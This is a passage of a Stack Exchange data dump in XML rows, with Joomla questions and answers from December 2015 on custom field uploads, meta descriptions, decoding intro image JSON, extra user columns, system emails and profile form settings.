LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-12-01T14:09:40.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14514" PostTypeId="2" ParentId="14511" CreationDate="2015-12-01T14:10:23.507" Score="2" Body="&lt;p&gt;You will not find an extension that fits your exact requirements, you will need to get hold of a reputable developer and build something specific to your needs. They don't need to be a Joomla Developer as your needs can all be accomplished with javascript. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should not be too difficult to set up as there is nothing to save and nothing else (from what you say) to do with this data once calculated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe 10 lines of Javascript (or jQuery lib) ... &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-01T14:10:23.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14515" PostTypeId="2" ParentId="14477" CreationDate="2015-12-01T14:22:41.287" Score="1" Body="&lt;p&gt;If you are using a custom template framework you might need to define the template for each language - this is common in templates powered by huge overweight PHP frameworks like Gantry or T3. &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-01T14:22:41.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14516" PostTypeId="2" ParentId="14488" CreationDate="2015-12-01T14:24:10.390" Score="0" Body="&lt;p&gt;Instead of clicking on a link to send you an email I would suggest that &lt;strong&gt;you avoid any mail setups that create more manual work for you&lt;/strong&gt;. To make something of your site you should automate as much as possible, and ensure you have the best delivery rates for all your email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays in this spam-challenged world, unless you run your own server with dedicated IP address, you want to avoid handling mail from your web server or being sent direct ly by you through your local ISP's mail server. In doing so, you will avoid mail throttling, poor mail reputation from shared IP addresses, and buggy and inflexible mail solutions etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, inbuilt mailout plugins are IMHO not a very good solution anymore unless you are combining the with a external SMTP mail service like Sendgrid. I haven't used a mailout plugin for over 10 years as there are too many downsides and I get more flexiblity with Mailchimp and their API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mailchimp is a mail and templating service. &lt;a href=&quot;http://eepurl.com/WL8n5&quot; rel=&quot;nofollow&quot;&gt;http://eepurl.com/WL8n5&lt;/a&gt;&#xA;It is free for the first 2000 addresses and 12000 emails per month.&#xA;You integrate Mailchimp using a Joomla Mailchimp plugin, linking your chosen mailchimp list(s) to the site. Different Mailchimp plugins provide different levels of integration options. You can use them to place newsletter sign-up modules, or auto add to lists on member registration etc. just as you would with an ibuilt mailout plugin. And combined with a code plugin like Sourcerer (which allows you to easily place raw code anywhere you want on your Joomla site), I find that you can get much essentially almost limitless flexibility in customising your own sign-up forms and boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, as stated, ensure good delivery rates for your outbound web server system emails using a free Sendgrid account &lt;a href=&quot;http://sendgrid.com&quot; rel=&quot;nofollow&quot;&gt;http://sendgrid.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastEditorUserId="4047" LastEditDate="2015-12-03T05:47:54.800" LastActivityDate="2015-12-03T05:47:54.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14518" PostTypeId="2" ParentId="14480" CreationDate="2015-12-01T14:37:54.013" Score="1" Body="&lt;p&gt;Simple answer. Don't bother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll spend a lot more time attempting that than either finding a similar looking Joomla 3 template and customising it or just creating a new one yourself. Joomla 3 templates are now designed as responsive and have left behind many deprecated functions from 2.5. &lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-01T14:37:54.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14520" PostTypeId="1" AcceptedAnswerId="14522" CreationDate="2015-12-01T18:40:45.450" Score="3" ViewCount="92" Body="&lt;p&gt;I have written a custom field type which will allow users to upload a file (CSV). Upon submitting the file, the plugin needs to be able to read through it and then do its own thing (update database values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be any code called on Joomla's end for custom field types, though. I have seen Components do similar things to what I'm doing, but Components have much more control over the backend. Is there any way for me to access the $_POST/$_FILES globals after the user uploads a file via custom field types? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, my problem isn't allowing the user to upload the file. It's being able to access it (no code is called after the user hits save). I have tried creating my own form within the field, but that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's documentation for this kind of thing is very lacking, and any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2015-12-01T20:13:49.330" Title="Handling of Plugin Custom Field Type Data" Tags="|module|plugin|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14521" PostTypeId="2" ParentId="14500" CreationDate="2015-12-01T19:51:07.897" Score="3" Body="&lt;p&gt;Although it's possible to do it with Joomla core articles, or by using a CCK type of component for this, I think it will be easier to use one of the ready-made extensions that provide &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=faq&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;FAQ/Knowledge Base solutions&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get the required functionality and features out of the box.&#xA;One of the extensions I usually use is the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/minitek-faq-book&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Minitek FAQ Book&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free and has all the features you may need for an effective and good looking Knowledge Base section on your website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-12-01T19:51:07.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14522" PostTypeId="2" ParentId="14520" CreationDate="2015-12-01T20:13:49.330" Score="1" Body="&lt;p&gt;After some thinking, I came up with a pretty gross workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user must upload a file to Joomla and then a field is used to select which file. This was easy enough and straightforward. The only downside is that you'd have to check its contents during every plugin run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple fix is to only check the file when the settings are updated: A hidden param (custom field type) is set to the current unit timestamp, which is then saved whenever the plugin settings are saved. The plugin stores in its cache the last time it dumped the cache. When it loads, it checks if the cached value is less than the parameter value. If so, the system will clear its cache and go about doing its business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be expanded to do a lot more stuff that extensions are left in the dark for (eg: whenever the settings change).&lt;/p&gt;&#xA;" OwnerUserId="7099" LastActivityDate="2015-12-01T20:13:49.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14523" PostTypeId="2" ParentId="14507" CreationDate="2015-12-01T20:38:52.710" Score="4" Body="&lt;p&gt;I will focus only on the question itself, about the 2 meta tags and won't expand on what else would make a website SE Friendlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the 2 meta tags in question, the one that you should really care and pay attention is the &lt;strong&gt;&lt;code&gt;meta description&lt;/code&gt;&lt;/strong&gt;. Although not powerful as it used to be, &lt;strong&gt;&lt;code&gt;meta description&lt;/code&gt;&lt;/strong&gt; still has its importance, &lt;strong&gt;Google does use it&lt;/strong&gt;, and it's a good place to unleash your creativity, by writing some human-readable and valued information about what each page's content is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, that in many cases, this &lt;strong&gt;&lt;code&gt;meta description&lt;/code&gt;&lt;/strong&gt; will be used as the &lt;strong&gt;text snippet shown in the search results&lt;/strong&gt;. So, the more powerful and quality this description is, the more chances a searcher that will read it, will click the link to your page. Which eventually can be another factor to improve your rankings, as the more and more clicks you get in &lt;strong&gt;SERPs&lt;/strong&gt;, will make &lt;strong&gt;Engines&lt;/strong&gt; consider your pages as more relevant to what users are searching and will push them higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another consideration, is that &lt;strong&gt;&lt;code&gt;meta descriptions&lt;/code&gt;&lt;/strong&gt; must be unique and not being repeated (same meta descriptions) among pages.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Concluding:&lt;br&gt;&#xA;  &lt;strong&gt;&lt;code&gt;Meta Description&lt;/code&gt;&lt;/strong&gt; is something you could and should invest your time&#xA;  and efforts, especially for the main and most important pages of your&#xA;  site, with unique, quality text including your desired keywords,&#xA;  written in a human readable way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://extensions.joomla.org/extension/seo-generator&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt; that can do the auto-fill for you, using part of the the intro/full-text, so it's something you can have for all those articles that you don't want to spend much of your energy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the &lt;strong&gt;&lt;code&gt;meta keywords&lt;/code&gt;&lt;/strong&gt;, although they don't have any real benefit for Google (as Google says), I personally have a plugin like the above to fill in 5-10 keywords extracted from the article's content and there are times that I still manually select and write some of the most important keywords of each page on those most important pages. It's not that I will spend much effort, but doing things with care and attention everywhere possible, creates a more quality result as whole. Also, even the fact that Google may not count keywords, there can be engines out there that are still using them.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-12-02T06:06:58.750" LastActivityDate="2015-12-02T06:06:58.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14524" PostTypeId="2" ParentId="14507" CreationDate="2015-12-01T21:22:11.353" Score="1" Body="&lt;p&gt;Another reason for using meta descriptions that hasn't been mentioned is it's importance for &lt;strong&gt;social sharing&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When sharing your content on social media like Facebook, the meta description will be used for the summary. If no meta description is included, Facebook will use a more or less random part of your text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Open Graph tags like &lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; content=&quot;Description Here&quot; /&amp;gt;&lt;/code&gt; will override the regular meta description tag (&lt;code&gt;&amp;lt;meta name=&quot;description&quot; content=&quot;Description Here&quot; /&amp;gt;&lt;/code&gt;) if present, but that's a different question...&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-12-01T21:22:11.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14525" PostTypeId="1" CreationDate="2015-12-01T23:53:11.810" Score="2" ViewCount="2045" Body="&lt;p&gt;I added this line in my custom template to display the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $article-&amp;gt;images; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I got this as a result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;image_intro&quot;:&quot;images\/articles\/liang2.jpg&quot;,&quot;float_intro&quot;:&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I tried to display the image using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo $images-&amp;gt;image_intro; ?&amp;gt;&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is this:&#xA;&lt;code&gt;&amp;lt;img src=&quot;&quot;&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;img src=&quot;images/articles/liang2.jpg&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong?&lt;/p&gt;&#xA;" OwnerUserId="7358" LastActivityDate="2018-07-23T14:01:18.547" Title="Show intro image in Category List" Tags="|joomla-3.x|php|component|joomla-3.4|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14526" PostTypeId="2" ParentId="14525" CreationDate="2015-12-02T03:27:27.523" Score="2" Body="&lt;p&gt;The image is part of a JSON encoded string, which you saw by echoing &lt;code&gt;$article-&amp;gt;images;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, before trying to display the image, you'll need to decode the string first, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = json_decode($article-&amp;gt;images);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7360" LastEditorUserId="168" LastEditDate="2015-12-02T08:34:06.493" LastActivityDate="2015-12-02T08:34:06.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14527" PostTypeId="1" CreationDate="2015-12-02T07:36:20.893" Score="0" ViewCount="2034" Body="&lt;p&gt;I am creating one component for Joomla back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here In edit view I have to display the value of an existing record. For that Joomla uses &lt;strong&gt;&lt;code&gt;$data = $this-&amp;gt;getItem();&lt;/code&gt;&lt;/strong&gt; calling the &lt;strong&gt;getItem&lt;/strong&gt; function from the model file, but my records will save in more than one table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at the time of edit of the record how I display the data which will be stored in another table?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="126" LastEditDate="2015-12-02T07:51:20.303" LastActivityDate="2017-10-18T06:00:20.347" Title="Model's $data = $this-&gt;getItem(); How this function will work for back-end component?" Tags="|joomla-3.x|component|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14528" PostTypeId="2" ParentId="926" CreationDate="2015-12-02T07:48:45.250" Score="0" Body="&lt;p&gt;For use cases like this: Need to have certain groups for members, it might be a better idea to use (or develop) a membership component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of these ready-made components are designated specifically to accommodate such requirements and provide functionality similar to what you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you get functionality out of the box, and you won't have to mess with the core usergroups and ACL, which are not designed exactly for such &quot;memberships/communities&quot; type of needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Relative JED searches:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=378&amp;amp;filter%5Bcore_catid%5D=&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Members List&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=309&amp;amp;filter%5Bcore_catid%5D=&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Memberships &amp;amp; Subscriptions&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=271&amp;amp;filter%5Bcore_catid%5D=&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User Management&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-12-02T07:48:45.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14529" PostTypeId="1" CreationDate="2015-12-02T09:31:23.327" Score="0" ViewCount="176" Body="&lt;p&gt;I am registering users via csv file. I get user details, then save them in the usual users table using the &lt;code&gt;JUser&lt;/code&gt; class. What is not working are extra columns I have. I've created them in the db already. My code is as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pass = 'xxxxxxx'; //default&#xA;$data = array(&#xA;    &quot;name&quot;=&amp;gt;$allnew[$i]-&amp;gt;name,&#xA;    &quot;username&quot;=&amp;gt;$allnew[$i]-&amp;gt;username,&#xA;    &quot;password&quot;=&amp;gt;$pass,&#xA;    &quot;password2&quot;=&amp;gt;$pass,&#xA;    &quot;email&quot;=&amp;gt;$allnew[$i]-&amp;gt;email,&#xA;    &quot;telephone&quot;=&amp;gt;$allnew[$i]-&amp;gt;telephone,&#xA;    &quot;test&quot;=&amp;gt;strtolower($allnew[$i]-&amp;gt;test),&#xA;    &quot;test1&quot;=&amp;gt;$allnew[$i]-&amp;gt;test1,&#xA;    &quot;gid&quot;=&amp;gt;18,&#xA;    &quot;usertype&quot;=&amp;gt;$newUsertype&#xA;);&#xA;$userr = new JUser;&#xA;&#xA;if(!$userr-&amp;gt;bind($data)) {&#xA;    throw new Exception(&quot;Could not bind data. Error: &quot; . $userr-&amp;gt;getError());&#xA;}&#xA;&#xA;$userr-&amp;gt;set('id', 0);&#xA;$userr-&amp;gt;set('usertype', $newUsertype);&#xA;$userr-&amp;gt;set('gid', $authorize-&amp;gt;get_group_id( '', $newUsertype, 'ARO' ));&#xA;$date =&amp;amp; JFactory::getDate();&#xA;$userr-&amp;gt;set('registerDate', $date-&amp;gt;toMySQL());&#xA;$userr-&amp;gt;set('leavedays', $data['leavedays']);&#xA;$useractivation = $usersConfig-&amp;gt;get( 'useractivation' );&#xA;&#xA;if ($useractivation == '1')&#xA;{&#xA;    jimport('joomla.user.helper');&#xA;    $userr-&amp;gt;set('activation',$pass );&#xA;    $userr-&amp;gt;set('block', '1');&#xA;}&#xA;&#xA;if($userr-&amp;gt;save()) {&#xA;    echo ' Success';&#xA;} else { echo 'error'; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help. &lt;code&gt;test&lt;/code&gt; and &lt;code&gt;test1&lt;/code&gt; are not being saved and I can't tell why. Both columns exist in the database. &lt;/p&gt;&#xA;" OwnerUserId="3854" LastEditorUserId="2324" LastEditDate="2016-01-05T05:39:38.533" LastActivityDate="2016-02-04T06:20:25.930" Title="How do I add an extra field in joomla 1.5 user registration details during save?" Tags="|joomla-api|user|joomla-1.5|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14530" PostTypeId="2" ParentId="14529" CreationDate="2015-12-02T09:40:44.317" Score="1" Body="&lt;p&gt;I assume the values for the default columns &lt;em&gt;are&lt;/em&gt; being saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the function to add the users in the database only defines the default columns, therefore even if you add your own columns to the &lt;code&gt;#__users&lt;/code&gt; table, they still won't be defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than changing the &lt;code&gt;#__users&lt;/code&gt; table, I'd suggest creating a new table with with following columns:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;id&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;uid&lt;/strong&gt; (This is the ID of the user)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;test&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;test1&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you add a new user using &lt;code&gt;JUser&lt;/code&gt;, write a database query which will add the addition values into your newly created table.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-02T09:40:44.317" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14531" PostTypeId="1" CreationDate="2015-12-02T09:47:12.140" Score="1" ViewCount="899" Body="&lt;p&gt;Is there a way customizing the emails that Joomla send automatically? For example emails with username e passwords sent to new users registered by some administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular I need to insert some HTML code in them. I found the way of changing the text via language overrides but if I insert some HTML there the emails do not arrive any more.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2016-05-26T21:38:45.470" Title="Customize system emails" Tags="|emails|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14532" PostTypeId="2" ParentId="14531" CreationDate="2015-12-02T11:07:27.780" Score="1" Body="&lt;p&gt;You can try Acy Mail component with plugin joomla override e-mails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.acyba.com&quot; rel=&quot;nofollow&quot;&gt;https://www.acyba.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-12-02T11:07:27.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14533" PostTypeId="2" ParentId="14525" CreationDate="2015-12-02T11:27:00.493" Score="2" Body="&lt;p&gt;You're very close. You are just missing the step of decoding the &lt;code&gt;$article-&amp;gt;images&lt;/code&gt; json string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like &quot;A. Snake&quot; correctly said, you have to convert the JSON string into an object by which you can access each key and value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.json-decode.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP's manual page for the json_decode() function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = json_decode($article-&amp;gt;images);&#xA;echo $images-&amp;gt;image_intro&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can perform it in a single line within your tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo json_decode($article-&amp;gt;images)-&amp;gt;image_intro; ?&amp;gt;&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To write a variable declaration using the decoded the JSON string, use the following syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = $JSON_object-&amp;gt;key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the php manual for more specifications and examples.&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastEditorUserId="12352" LastEditDate="2018-07-23T14:01:18.547" LastActivityDate="2018-07-23T14:01:18.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14534" PostTypeId="1" CreationDate="2015-12-02T11:56:35.477" Score="2" ViewCount="1207" Body="&lt;p&gt;I'd like not to show the Two Factor Authentication Fields and One time emergency passwords section from the core profile editing page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple solution similar to this question &lt;a href=&quot;https://joomla.stackexchange.com/questions/960/how-to-remove-some-fields-from-core-joomla-profile-editor&quot;&gt;How to remove some fields from core Joomla Profile Editor?&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="7325" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-06-05T07:08:03.947" Title="Remove two factor authentication fields from core Joomla profile editor" Tags="|user|profile|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14535" PostTypeId="1" CreationDate="2015-12-02T12:08:01.343" Score="4" ViewCount="766" Body="&lt;p&gt;How can I make the core edit profile form redirect to a specified page on submission?&lt;/p&gt;&#xA;" OwnerUserId="7325" LastActivityDate="2023-03-01T14:57:34.247" Title="Edit profile redirect on submission" Tags="|user|profile|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14537" PostTypeId="2" ParentId="14534" CreationDate="2015-12-02T12:58:01.383" Score="0" Body="&lt;p&gt;Why would you not want to show this information - allowing users to apply two factor security can drastically decrease your chance of your site being hacked through brute forced passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be looking to do the opposite and actually ENFORE every user to use two factor security&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In removing this, you are decreasing the security of your user accounts. &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-02T12:58:01.383" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14538" PostTypeId="1" CreationDate="2015-12-02T14:20:09.180" Score="0" ViewCount="66" Body="&lt;p&gt;I use joomla 3.4.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some article posted about how to remove article id, but how can I change article id from &lt;strong&gt;example.com/1-test&lt;/strong&gt; to &lt;strong&gt;example.com/1/test&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You...&lt;/p&gt;&#xA;" OwnerUserId="7363" LastEditorUserId="126" LastEditDate="2015-12-02T16:06:07.737" LastActivityDate="2016-03-02T04:01:11.760" Title="Change Article ID From example.com/1-test To example.com/1/test" Tags="|articles|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14539" PostTypeId="2" ParentId="9872" CreationDate="2015-12-02T14:27:57.413" Score="2" Body="&lt;p&gt;I ran into the same issue but have tracked it down to what it is. It is a multi-step process to setup the filters.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For the filters to work you need to add filter_.xml file in the models/forms folder. This takes a regular Joomla XML file.&lt;/li&gt;&#xA;&lt;li&gt;You need to have the filters set as mentioned by @Nagarjun in your model&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your view you need to add this line into the display function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In case you have docblocks you need to specify it as a &lt;strong&gt;public variable&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;  * List of active filters&#xA;  *&#xA;  * @var    array&#xA;  * @since  1.0&#xA;  */&#xA;public $activeFilters = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally add the filters to your template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this));&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="313" LastActivityDate="2015-12-02T14:27:57.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14540" PostTypeId="2" ParentId="14538" CreationDate="2015-12-02T14:47:41.527" Score="0" Body="&lt;p&gt;The URL of a page is determined by the menu structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create a menu item of type Single Article and link to your article.&#xA;The alias of that menu item will be used in the URL structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Joomla &lt;strong&gt;3.4.3&lt;/strong&gt; has a &lt;strong&gt;security issue&lt;/strong&gt;.&#xA;&lt;strong&gt;Update&lt;/strong&gt; your website asap &lt;strong&gt;to Joomla 3.4.5&lt;/strong&gt;, see &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.html&quot; rel=&quot;nofollow&quot;&gt;https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7364" LastActivityDate="2015-12-02T14:47:41.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
